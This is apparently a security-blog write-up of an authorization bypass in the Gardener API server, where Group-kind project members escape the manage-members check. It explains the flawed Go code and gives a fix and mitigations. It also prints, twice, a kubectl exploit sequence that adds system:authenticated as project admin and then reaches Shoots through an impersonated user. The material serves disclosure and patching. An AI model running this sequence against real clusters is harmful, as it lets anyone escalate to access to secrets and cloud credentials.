Listen to this Post
The Gardener API server customverbauthorizer admission plugin checks manage-members.
The check is documented for human users or groups.
The implementation only gates User-kind subjects.
Group subjects are not matched by isHumanUser().
ServiceAccount subjects can also be added as Group or ServiceAccount.
A project admin without manage-members can patch .spec.members.
They can add Group kind subjects.
Example Group: system:authenticated.
That grants all authenticated users project admin.
The mustCheckProjectMembers() function compares old and new members.
It uses findHumanUsersWithRoles().
findHumanUsersWithRoles() filters with isHumanUser().
isHumanUser() returns true only for Kind == “User”.
It excludes service account username prefix.
Kind == “Group” returns false.
Therefore Group member changes are invisible to authorization.
The documented behavior says human users or groups.
The code only enforces User changes.
A project admin can add or remove Group members freely.
They can add system:authenticated.
Any authenticated user gets project access.
Impersonation with –as is treated as authenticated.
The system:authenticated group is automatically added.
A non-existent random user can then access Shoots.
The project admin lacks manage-members but can still patch.
The patch succeeds because check skips Group.
test-admin-user is forbidden for User member.
test-admin-user is allowed for Group member.
Impact includes unauthorized access expansion.
Fix isHumanUser() to include Groups.
Rename to isNonServiceAccountSubject().
DailyCVE Form:
Platform: Gardener API server
Version: Not provided
Vulnerability: Authorization bypass
Severity: Critical
date: Not provided
Prediction: Patch date unknown
What Undercode Say:
Analytics:
kubectl get project local -o yaml
kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=admin-user
kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=test-admin-user
kubectl patch –as=test-admin-user project local –type=merge -p ‘{
“spec”: {
“members”: [
{
“kind”: “User”,
“apiGroup”: “rbac.authorization.k8s.io”,
“name”: “[email protected]”,
“role”: “viewer”
}
]
}
}’
kubectl patch project local –as=test-admin-user –type=json -p ‘[
{
“op”: “add”,
“path”: “/spec/members/-“,
“value”: {
“kind”: “Group”,
“apiGroup”: “rbac.authorization.k8s.io”,
“name”: “system:authenticated”,
“role”: “admin”,
“roles”: [“admin”]
}
}
]’
kubectl get project local -o yaml
kubectl –[email protected] get shoots -n garden-local
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// …
return !oldHumanUsers.Equal(newHumanUsers)
}
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
if subject.Kind == rbacv1.GroupKind {
return true
}
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Exploit: (Educational Purposes!)
kubectl get project local -o yaml
kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=admin-user
kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=test-admin-user
kubectl patch –as=test-admin-user project local –type=merge -p ‘{
“spec”: {
“members”: [
{
“kind”: “User”,
“apiGroup”: “rbac.authorization.k8s.io”,
“name”: “[email protected]”,
“role”: “viewer”
}
]
}
}’
kubectl patch project local –as=test-admin-user –type=json -p ‘[
{
“op”: “add”,
“path”: “/spec/members/-“,
“value”: {
“kind”: “Group”,
“apiGroup”: “rbac.authorization.k8s.io”,
“name”: “system:authenticated”,
“role”: “admin”,
“roles”: [“admin”]
}
}
]’
kubectl get project local -o yaml
kubectl –[email protected] get shoots -n garden-local
Protection: from this CVE
func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
if subject.Kind == rbacv1.GroupKind {
return true
}
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Use isNonServiceAccountSubject() in mustCheckProjectMembers().
Match documented behavior for human users or groups.
Gate Group member changes.
Gate ServiceAccount member changes.
Audit Project .spec.members for Group subjects.
Audit Project .spec.members for ServiceAccount subjects.
Restrict manage-members to owner or uam role.
Deny system:authenticated additions.
Deny system:unauthenticated additions.
Impact:
Unauthorized access expansion.
A project admin can grant project-level access to any Kubernetes group.
system:authenticated grants all authenticated users.
system:unauthenticated grants all unauthenticated users.
Project admin without manage-members can escalate.
Full access to Shoots, Secrets, and cloud provider credentials.
Non-existent impersonated user gains admin access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

